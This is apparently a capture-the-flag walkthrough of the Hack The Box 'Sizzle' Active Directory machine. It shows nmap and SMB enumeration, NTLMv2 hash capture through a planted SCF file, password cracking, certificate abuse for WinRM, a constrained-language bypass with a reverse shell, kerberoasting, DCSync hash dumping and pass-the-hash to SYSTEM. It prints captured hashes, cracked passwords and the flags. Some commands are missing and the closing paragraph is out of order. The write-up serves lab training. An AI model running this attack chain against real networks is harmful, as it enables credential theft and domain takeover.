-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Tue Mar 21 11:06:25 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.103
Nmap scan report for 10.10.10.103
Host is up (0.047s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
5986/tcp open wsmans
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49677/tcp open unknown
49688/tcp open unknown
49689/tcp open unknown
49691/tcp open unknown
49694/tcp open unknown
49706/tcp open unknown
49710/tcp open unknown
49717/tcp open unknown
# Nmap done at Tue Mar 21 11:07:04 2023 -- 1 IP address (1 host up) scanned in 39.67 seconds
As we see, there are quite a lot of ports open.
Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Tue Mar 21 11:10:41 2023 as: nmap -sCV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49667,49677,49688,49689,49691,49694,49706,49710,49717 -Pn -oN targeted 10.10.10.103
Nmap scan report for 10.10.10.103
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2023-03-21T10:16:59+00:00; +4m34s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2023-03-21T10:16:59+00:00; +4m35s from scanner time.
| tls-alpn:
| h2
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
|_ssl-date: 2023-03-21T10:16:59+00:00; +4m35s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2023-03-21T10:16:59+00:00; +4m35s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2023-03-21T10:16:59+00:00; +4m35s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after: 2019-07-02T20:26:23
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: 2023-03-21T10:16:59+00:00; +4m35s from scanner time.
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49689/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49710/tcp open msrpc Microsoft Windows RPC
49717/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4m34s, deviation: 0s, median: 4m34s
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-03-21T10:16:21
|_ start_date: 2023-03-21T10:02:36
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 21 11:12:26 2023 -- 1 IP address (1 host up) scanned in 104.84 seconds
As we can see, there are a lot of ports open. Let's start enumerating the SMB service. We can see the shares using a guest user.
smbmap -H 10.10.10.103 -u "guest"
[+] IP: 10.10.10.103:445 Name: htb.local
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
CertEnroll NO ACCESS Active Directory Certificate Services share
Department Shares READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Operations NO ACCESS
SYSVOL NO ACCESS Logon server share
There is one share called Department Shares with READ ONLY permissions. This share contains a bunch of other subdirectories.
Now we have a list of users that might be helpful in the future. We could check if we have write permissions on any of these directories. As seen, everyone has full permissions on the Public directory.
This means that we could upload files to that directory. We could try to create a SCF (Shell Command Files) file in the Public directory. When this file gets executed by any user, it will try to load an icon from our machine, authenticating in our local SMB server, and giving us their NTLMv2 hash.
Then, set the SMB server. If any user opens the file, it will try to load the icon from our SMB server, giving us their NTLMv2 hash.
impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.103,49303)
[*] AUTHENTICATE_MESSAGE (HTB\amanda,SIZZLE)
[*] User SIZZLE\amanda authenticated successfully
[*] amanda::HTB:aaaaaaaaaaaaaaaa:49dd44091b94b3f557a53d7cb7aa9a92:0101000000000000002e31e9255cd9010a5238f40c86656d000000000100100061007900550058006f00480065004d000300100061007900550058006f00480065004d000200100077005100460048005600510074004500040010007700510046004800560051007400450007000800002e31e9255cd90106000400020000000800300030000000000000000100000000200000bd5e1a6a5f1cc249073ee270b329409cdf07c12fc5a21f4f21f047786e2945680a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003100000000000000000000000000
[*] Connecting Share(1:IPC$)
[-] SMB2_TREE_CONNECT not found share
[-] SMB2_TREE_CONNECT not found share
Copy the hash, paste it into a file, and try to break it with john.
john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ashare1972 (amanda)
1g 0:00:00:04 DONE (2023-03-21 19:53) 0.2475g/s 2826Kp/s 2826Kc/s 2826KC/s Ashiah08..Ariel!
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Let's keep enumerating the machine. As we saw in the nmap scan, port 5986 is open, and it hosts a WinRM server, but uses SSL certificates. We might need to create our own certificate to be able to log into the machine. Nmap also reported that port 80 is open. Let's take a look at it.
As we can see, the web server is a Microsoft IIS 10. Let's try to enumerate website subdirectories using a custom IIS wordlist.
gobuster dir -u http://10.10.10.103/ -w /opt/SecLists/Discovery/Web-Content/IIS.fuzz.txt -t 200 --no-error
The certsrv directory shows a 401 status code. If we take a look at it, it will ask for credentials. Let's use the ones we have.
We log into Active Directory Certificate Services.
This utility will allow us to create our certificate, and log in with the WinRM service using SSL certificates. First, create a private key and a certificate signing request.
.+...+.......+.....+.+..+...+......+...+............+++++++++++++++++++++++++++++++++...+..+.............+...........+...+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Now, on the website, go to Request a certificate.
Then go to advanced certificate request, copy and paste the amanda.csr certificate signing request into the Saved Request filed, and press Submit.
Download the certificate by clicking on Download certificate.
Finally, we can log into the machine using the WinRM service and the SSL certificates.
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\amanda\Documents> whoami
htb\amanda
Privilege Escalation
The shell that we have is quite limited. It is in constrained language mode.
$executioncontext.sessionstate.languagemode
ConstrainedLanguage
python -m http.server 80
Now, create the privEsc folder inside \Windows\Temp, and download the PsBypassCLM.exe binary from our HTTP server there.
mkdir \windows\temp\privEsc; cd \windows\temp\privEsc
Listening on 0.0.0.0 4444
Connection received on 10.10.10.103 59777
whoami
htb\amanda
PS C:\windows\temp\privesc> $executioncontext.sessionstate.languagemode
FullLanguage
As we have credentials, we could run BloodHound remotely with the bloodhound-python tool. Make sure to the add htb.local entry to the /etc/hosts file.
INFO: Found AD domain: htb.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (htb.local:88)] [Errno 110] Connection timed out
INFO: Connecting to LDAP server: sizzle.HTB.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: sizzle.HTB.LOCAL
INFO: Found 8 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: sizzle.HTB.LOCAL
INFO: Done in 00M 08S
Now, we have to start BloodHound. First, we have to start neo4j.
neo4j console
Then we will search for the localhost on port 4747 and log in with the username neo4j and password neo4j. Youâll have to change the password.
On a new console, run BloodHound.
bloodhound -nosandbox
Then log in with the credentials you set earlier.
Then, click on the Upload Data button on the right section and select all the .json files.
Once all the .json files are uploaded go to the Analysis section. There we'll see that the user MRLKY user a kerberoasteable account.
We can't exploit this vulnerability yet, because port 88 (Kerberos) is not exposed externally. We can also see that this user has DCSync rights, which we could exploit to gain domain admin privileges.
A user with the DCSync permission impersonates a Domain Controller and requests account password data from the targeted Domain Controller.
Let's start with the kerberoasting attack. As we can see Kerberos is only accessible internally.
netstat -nat
Active Connections
Proto Local Address Foreign Address State Offload State
...
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING InHost
...
To exploit this vulnerability, we'll have to use Rubeus. Set a simple HTTP server where the Rubeus.exe binary is located.
john -w=/usr/share/wordlists/rockyou.txt kerb_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Football#7 (?)
1g 0:00:00:04 DONE (2023-03-21 21:08) 0.2247g/s 2509Kp/s 2509Kc/s 2509KC/s Forever3!..Flubb3r
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now that we have credentials for MRLKY, and as it has DCSync rights, we can dump hashes of every local user remotely with secrets-dump.
As we have to NTLM hash of the administrator user, we could do pass the hash and get a shell as nt authority\system. Then all we have to do is reap the harvest and take both the user and root flags.
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.103.....
[*] Found writable share ADMIN$
[*] Uploading file ftRDykyJ.exe
[*] Opening SVCManager on 10.10.10.103.....
[*] Creating service zRZi on 10.10.10.103.....
[*] Starting service zRZi.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type \users\mrlky\desktop\user.txt
168224d790f5c7ef7113300aeceb7e9d
C:\Windows\system32> type \users\administrator\desktop\root.txt
83db2d37e4884fb0beadde14a9d025b7
We need to bypass this limited shell. We can do it with the tool. Clone the repository, then go to PSBypassCLM/PSBypassCLM/bin/x64/Debug, and set a simple HTTP server.